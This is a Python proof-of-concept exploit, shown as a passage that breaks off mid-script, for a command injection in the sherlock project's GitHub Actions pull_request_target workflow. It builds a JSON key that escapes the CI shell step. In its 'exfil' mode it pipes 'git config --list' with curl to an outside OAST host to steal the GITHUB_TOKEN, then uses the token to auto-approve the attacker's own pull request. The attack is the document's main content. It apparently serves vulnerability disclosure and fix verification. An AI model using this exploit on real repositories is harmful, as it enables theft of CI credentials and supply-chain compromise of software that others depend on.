1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
""""""
import argparse
import base64
import json
import os
import re
import shutil
import subprocess
import sys
import tempfile
import time
import urllib.error
import urllib.request
from datetime import datetime, timezone
HARMLESS_MARKER = "Command Injection confirmed at"
EXFIL_TOKEN_RE = re.compile(
r"http\.https://github\.com/\.extraheader=AUTHORIZATION:\s*basic\s+([A-Za-z0-9+/=]+)",
re.IGNORECASE,
)
UPSTREAM = "sherlock-project/sherlock"
DATA_JSON_PATH = "sherlock_project/resources/data.json"
WORKFLOW_FILE = "validate_modified_targets.yml"
# Parent of the fix commit (6eaec5cc, "Fix command injection vuln", 2026-05-02).
# Resetting the fork's master to this SHA reproduces the pre-fix vulnerable
# workflow. Used by --vulnerable.
VULNERABLE_COMMIT = "271608fb22209ef15a775cce88dd07fd4fa76483"
# -----------------------------------------------------------------------------
# Helpers
# -----------------------------------------------------------------------------
def run(cmd, cwd=None, check=True, capture=True):
"""Run a shell command and return CompletedProcess."""
proc = subprocess.run(
cmd,
cwd=cwd,
check=check,
capture_output=capture,
text=True,
)
return proc
def log(msg, level="INFO"):
ts = datetime.now(timezone.utc).strftime("%H:%M:%S")
icons = {"INFO": "[*]", "OK": "[+]", "ERR": "[!]", "STEP": "[>]"}
print(f"{ts} {icons.get(level, '[*]')} {msg}", flush=True)
def require_tool(tool):
if not shutil.which(tool):
log(f"Required tool not found: {tool}", "ERR")
sys.exit(1)
def gh_api(endpoint, method="GET", fields=None):
cmd = ["gh", "api", endpoint, "-X", method]
if fields:
for k, v in fields.items():
cmd.extend(["-f", f"{k}={v}"])
try:
proc = run(cmd, check=True)
return json.loads(proc.stdout) if proc.stdout.strip() else None
except subprocess.CalledProcessError as e:
log(f"gh api {endpoint} failed: {e.stderr.strip()}", "ERR")
return None
# -----------------------------------------------------------------------------
# OAST (interactsh) integration
# -----------------------------------------------------------------------------
def find_interactsh_client():
"""Locate interactsh-client binary in PATH or ~/go/bin."""
p = shutil.which("interactsh-client")
if p:
return p
candidate = os.path.expanduser("~/go/bin/interactsh-client")
if os.path.isfile(candidate) and os.access(candidate, os.X_OK):
return candidate
return None
def spawn_interactsh():
"""
Spawn interactsh-client as a subprocess.
Returns (process, oast_url, log_path) or (None, None, None) on failure.
"""
binary = find_interactsh_client()
if not binary:
log("interactsh-client not found in PATH or ~/go/bin", "ERR")
log("Install with: go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest", "INFO")
return None, None, None
log_path = tempfile.mktemp(prefix="poc-oast-", suffix=".log")
proc = subprocess.Popen(
[binary, "-v", "-o", log_path],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
bufsize=1,
)
# Read stdout until the OAST URL appears (typically within a few seconds)
oast_url = None
deadline = time.time() + 20
url_re = re.compile(r"([a-z0-9]+\.oast\.[a-z]+)")
while time.time() < deadline:
line = proc.stdout.readline()
if not line:
time.sleep(0.2)
continue
m = url_re.search(line)
if m:
oast_url = "https://" + m.group(1)
break
if not oast_url:
proc.terminate()
log("Could not parse OAST URL from interactsh-client output", "ERR")
return None, None, None
return proc, oast_url, log_path
def check_oast_callback(log_path, marker, retries=6, delay=5):
"""
Look for `marker` in the interactsh log.
Polls a few times because callbacks can lag a few seconds after the
workflow completes.
"""
if not log_path or not os.path.isfile(log_path):
return None
for attempt in range(retries):
with open(log_path, errors="replace") as f:
content = f.read()
if marker in content:
return content
if attempt < retries - 1:
time.sleep(delay)
return None
def extract_token_from_log(log_path, retries=6, delay=5):
"""
Look for the AUTHORIZATION header dumped by `git config --list` in the
interactsh log, extract the base64 blob, and decode it. Returns the
decoded `x-access-token:ghs_...` string or None.
"""
if not log_path or not os.path.isfile(log_path):
return None
for attempt in range(retries):
with open(log_path, errors="replace") as f:
content = f.read()
m = EXFIL_TOKEN_RE.search(content)
if m:
try:
decoded = base64.b64decode(m.group(1)).decode("utf-8", errors="replace")
return decoded
except (ValueError, base64.binascii.Error):
return None
if attempt < retries - 1:
time.sleep(delay)
return None
# -----------------------------------------------------------------------------
# Token-based PR approval
# -----------------------------------------------------------------------------
def parse_pr_number(pr_url):
"""Extract the PR number from a URL like https://github.com/o/r/pull/42."""
m = re.search(r"/pull/(\d+)", pr_url or "")
return int(m.group(1)) if m else None
def approve_pr_with_token(repo, pr_number, token):
"""
Use the exfiltrated GITHUB_TOKEN to approve the attacker's own PR via
the GitHub REST API. Returns the parsed JSON response or None.
Mirrors the canonical PoC curl:
curl -X POST \\
-H "Authorization: token <GITHUB_TOKEN>" \\
-H "Accept: application/vnd.github+json" \\
https://api.github.com/repos/{repo}/pulls/{n}/reviews \\
-d '{"event":"APPROVE","body":"All checks passed. LGTM!"}'
"""
url = f"https://api.github.com/repos/{repo}/pulls/{pr_number}/reviews"
body = json.dumps({
"event": "APPROVE",
"body": "All checks passed. LGTM!",
}).encode("utf-8")
req = urllib.request.Request(
url,
data=body,
method="POST",
headers={
"Authorization": f"token {token}",
"Accept": "application/vnd.github+json",
"Content-Type": "application/json",
"User-Agent": "poc-cve-pr-target",
},
)
try:
with urllib.request.urlopen(req, timeout=15) as resp:
return json.loads(resp.read().decode("utf-8", errors="replace"))
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")
log(f"GitHub API error {e.code}: {body[:200]}", "ERR")
return None
except urllib.error.URLError as e:
log(f"Network error calling GitHub API: {e}", "ERR")
return None
# -----------------------------------------------------------------------------
# Fork manipulation
# -----------------------------------------------------------------------------
def reset_fork_to_vulnerable(fork_repo, clone_url, commit_sha):
"""
Force-reset the fork's master branch to a specific commit (the pre-fix
revision). Used to reproduce the vulnerability against the original
vulnerable workflow.
"""
workdir = tempfile.mkdtemp(prefix="poc-reset-")
try:
log(f"Cloning {fork_repo} into temp dir for reset", "INFO")
run(["git", "clone", clone_url, workdir])
log(f"Resetting master to {commit_sha[:8]}", "INFO")
run(["git", "reset", "--hard", commit_sha], cwd=workdir)
log("Force-pushing to origin/master", "INFO")
run(["git", "push", "--force", "origin", "master"], cwd=workdir)
log("Fork master rolled back to vulnerable commit", "OK")
finally:
shutil.rmtree(workdir, ignore_errors=True)
# -----------------------------------------------------------------------------
# Payload construction
# -----------------------------------------------------------------------------
def build_payload(mode, oast_url):
"""
Build a JSON key that, after the GitHub Actions templating engine
expands it inside the `run:` block, breaks out of the surrounding
double quotes and executes a curl.
Vulnerable command (after templating):
poetry run pytest ... --chunked-sites "<KEY>"
Injection: close the quote, run a command, reopen the quote with echo.
"""
if mode == "harmless":
cmd = (
f'curl -s -X POST -d "{HARMLESS_MARKER} $(date -u +%FT%TZ)" '
f"{oast_url}/ci-test"
)
elif mode == "exfil":
# Dumps git config to OAST. The base64-encoded token sits in
# http.https://github.com/.extraheader. Then sleep keeps the
# workflow (and the short-lived GITHUB_TOKEN) alive long enough
# for the script to use the token (e.g. to approve the PR).
cmd = (
f"git config --list | curl -s -X POST -d @- {oast_url}/gitconfig; "
"sleep 180"
)
else:
raise ValueError(f"unknown mode: {mode}")
# Close the double quote, run cmd, restart with `echo "` so the rest
# of the templated command stays syntactically valid.
return f'TestSite"; {cmd}; echo "'
def inject_payload(repo_dir, payload_key):
"""Add the payload key to data.json with a minimal valid site entry."""
data_path = os.path.join(repo_dir, DATA_JSON_PATH)
if not os.path.isfile(data_path):
log(f"data.json not found at {data_path}", "ERR")
sys.exit(1)
with open(data_path) as f:
data = json.load(f)
if payload_key in data:
log("Payload key already present in data.json (unexpected)", "ERR")
sys.exit(1)
data[payload_key] = {
"errorType": "status_code",
"url": "https://example.com/{}",
"urlMain": "https://example.com/",
"username_claimed": "test",
}
with open(data_path, "w") as f:
json.dump(data, f, indent=4, sort_keys=True)
log(f"Injected payload key into {DATA_JSON_PATH}", "OK")
# -----------------------------------------------------------------------------
# Workflow run polling
# -----------------------------------------------------------------------------
def find_workflow_run(repo, branch, since_iso, timeout=180):
"""Poll the Actions API for a workflow_run on the given branch."""
log(f"Polling for workflow run on branch '{branch}' (timeout {timeout}s)", "STEP")
deadline = time.time() + timeout
while time.time() < deadline:
runs = gh_api(
f"repos/{repo}/actions/runs?branch={branch}&event=pull_request_target&per_page=5"
)
if runs and runs.get("workflow_runs"):
for r in runs["workflow_runs"]:
if r.get("created_at", "") >= since_iso:
return r
time.sleep(5)
return None
def wait_for_run_completion(repo, run_id, timeout=300):
log(f"Waiting for run {run_id} to complete", "STEP")
deadline = time.time() + timeout
while time.time() < deadline:
run_data = gh_api(f"repos/{repo}/actions/runs/{run_id}")
if not run_data:
time.sleep(5)
continue
status = run_data.get("status")
conclusion = run_data.get("conclusion")
log(f" status={status} conclusion={conclusion}")
if status == "completed":
return run_data
time.sleep(10)
return None
# -----------------------------------------------------------------------------
# Main flow
# -----------------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser(
description=(
"CVE-2026-44590 PoC by Astaruf\n"
"RCE via pull_request_target Injection -> Supply Chain Compromise in sherlock-project/sherlock GitHub Actions Workflow\n"
"\n"
"Full write-up: https://nstsec.com/posts/sherlock-rce-pull-request-target-cve-2026-44590/\n"
"\n"
"Prerequisites:\n"
" gh auth login\n"
" go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest\n"
"\n"
"Quick start:\n"
" # Verify the upstream fix (expects FIX VERIFIED)\n"
" python3 poc.py --fork-owner <your-github-username>\n"
"\n"
" # Reproduce the original vulnerability (expects VULNERABILITY CONFIRMED)\n"
" python3 poc.py --fork-owner <your-github-username> --vulnerable\n"
"\n"
" # Full impact: token exfiltration + auto-approve PR\n"
" python3 poc.py --fork-owner <your-github-username> --vulnerable --mode exfil"
),
formatter_class=argparse.RawTextHelpFormatter,
epilog=__doc__,
)
parser.add_argument(
"--fork-owner", required=True,
help="GitHub username that owns the fork of sherlock-project/sherlock",
)
parser.add_argument(
"--fork-name", default="sherlock",
help="Name of the fork repository (default: sherlock)",
)
parser.add_argument(
"--oast-url", default=None,
help="OAST endpoint to receive the callback. If omitted, the script "
"spawns an interactsh-client subprocess and auto-verifies the "
"callback at the end (harmless mode only).",
)
parser.add_argument(
"--mode", choices=["harmless", "exfil"], default="harmless",
help=(
"Payload type (default: harmless).\n"
"\n"
" harmless\n"
" Single curl with a static confirmation string.\n"
" No secrets touched.\n"
"\n"
" exfil\n"
" Dumps `git config --list` (which contains the GITHUB_TOKEN\n"
" base64-encoded by actions/checkout) to the OAST, then\n"
" sleeps 180s. The script grabs the token while the workflow\n"
" is alive and uses it to auto-approve the malicious PR via\n"
" the GitHub API."
),
)
parser.add_argument(
"--base-branch", default="master",
help="PR target branch on the fork (default: master)",
)
parser.add_argument(
"--keep-branch", action="store_true",
help="Do not delete the PoC branch after completion",
)
parser.add_argument(
"--no-poll", action="store_true",
help="Skip workflow run polling and exit after PR creation",
)
parser.add_argument(
"--no-sync", action="store_true",
help="Skip syncing the fork with upstream (useful when testing a pinned commit)",
)
parser.add_argument(
"--vulnerable", action="store_true",
help=f"Roll back the fork's master to the pre-fix commit ({VULNERABLE_COMMIT[:8]}) "
"before running the PoC. Implies --no-sync.",
)
args = parser.parse_args()
fork_repo = f"{args.fork_owner}/{args.fork_name}"
branch_name = f"poc-cve-pr-target-{int(time.time())}"
# 0. Prerequisites
require_tool("gh")
require_tool("git")
# If no OAST URL provided, spawn interactsh-client and use its URL
interactsh_proc = None
interactsh_log = None
auto_check = False
if not args.oast_url:
log("No --oast-url provided, spawning interactsh-client", "STEP")
interactsh_proc, args.oast_url, interactsh_log = spawn_interactsh()
if not args.oast_url:
sys.exit(1)
auto_check = True
log(f"Interactsh URL: {args.oast_url}", "OK")
log(f"Target fork: {fork_repo}", "INFO")
log(f"Base branch: {args.base_branch}", "INFO")
log(f"PoC branch: {branch_name}", "INFO")
log(f"Payload mode: {args.mode}", "INFO")
log(f"OAST endpoint: {args.oast_url}", "INFO")
# 1. Verify (or create) the fork
log("Verifying fork", "STEP")
info = gh_api(f"repos/{fork_repo}")
fork_just_created = False
if not info:
log(f"Fork {fork_repo} not found, creating it", "STEP")
run(["gh", "repo", "fork", UPSTREAM, "--clone=false"], check=True)
# Forks are created asynchronously; poll until ready
for _ in range(30):
time.sleep(2)
info = gh_api(f"repos/{fork_repo}")
if info:
break
if not info:
log("Fork creation timed out", "ERR")
sys.exit(1)
fork_just_created = True
log("Fork created", "OK")
if not info.get("fork"):
log(f"{fork_repo} exists but is not a fork", "ERR")
sys.exit(1)
parent = info.get("parent", {}).get("full_name")
if parent != UPSTREAM:
log(f"{fork_repo} is a fork of {parent}, expected {UPSTREAM}", "ERR")
sys.exit(1)
log(f"Fork verified (parent: {parent})", "OK")
# 2. Detect whether Actions are actually runnable on the fork.
# Forks of repos that already contain workflows have a fork-level UI gate
# ("Workflows aren't being run on this forked repository") that must be
# cleared by clicking the banner once. There is no public API for this.
# Heuristic: if the fork was just created OR has zero historical runs,
# prompt the user to enable Actions in the browser.
runs_data = gh_api(f"repos/{fork_repo}/actions/runs?per_page=1")
total_runs = runs_data.get("total_count", 0) if runs_data else 0
if fork_just_created or total_runs == 0:
actions_url = f"https://github.com/{fork_repo}/actions"
log("=" * 70, "INFO")
log("MANUAL STEP REQUIRED", "INFO")
log("=" * 70, "INFO")
log(f"Open this URL in a browser: {actions_url}", "INFO")
log("Click 'I understand my workflows, go ahead and enable them'.", "INFO")
log("This is required only once per fresh fork (GitHub-imposed).", "INFO")
log("=" * 70, "INFO")
try:
input("Press ENTER once you've enabled Actions on the fork... ")
|